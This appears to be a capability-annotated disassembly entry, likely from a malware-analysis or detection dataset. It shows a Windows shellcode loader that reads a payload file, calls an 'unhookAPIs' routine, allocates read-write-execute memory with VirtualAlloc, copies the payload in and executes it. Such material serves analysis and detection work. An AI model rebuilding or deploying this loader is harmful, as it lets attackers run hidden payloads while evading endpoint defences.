Function at 0x14000153e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x220], ecx
mov qword [rbp + 0x228], rdx
call sym.__main
cmp dword [rbp + 0x220], 2
je 0x1400015c6
lea rax, str.Usage:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x228]
mov rax, qword [rax]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, str.__shellcode_file_
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005470]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400017be
mov rax, qword [rbp + 0x228]
add rax, 8
mov rdx, qword [rax]
lea rax, [rbp - 0x20]
mov r8d, 4
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x20]
add rax, 0xd8
mov rcx, rax
call sym.std::basic_ios_char__std::char_traits_char___::operator____const
test al, al
je 0x14000164a
lea rax, str.Failed_to_open_file:
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x228]
add rax, 8
mov rax, qword [rax]
mov rdx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005470]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400017b2
lea rax, [rbp + 0x1cf]
mov qword [rbp + 0x1f0], rax
nop
nop
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator__
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1e0]
mov rcx, rax
call method.std::istreambuf_iterator_char__std::char_traits_char___.istreambuf_iterator_std::istream_
mov rax, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
lea r8, [rbp + 0x1cf]
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x40]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___::vector_std::istreambuf_iterator_char__std.char_traits_char_____void__std::istreambuf_iterator_char__std::char_traits_char_____std::istreambuf_iterator_char__std::char_traits_char_____std::
lea rax, [rbp + 0x1cf]
mov rcx, rax
call method.std::__new_allocator_unsigned_char_.__new_allocator__
nop
call sym.unhookAPIs__
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
jne 0x14000174a
lea rax, str.Failed_to_allocate_executable_memory
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005470]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400017a6
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov rdx, rax
mov rax, qword [rbp + 0x1f8]
mov r8, rbx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x1f8]
call rax
mov rax, qword [rbp + 0x1f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
mov eax, ebx
jmp 0x140001802
add rsp, 0x288
pop rbx
pop rbp
ret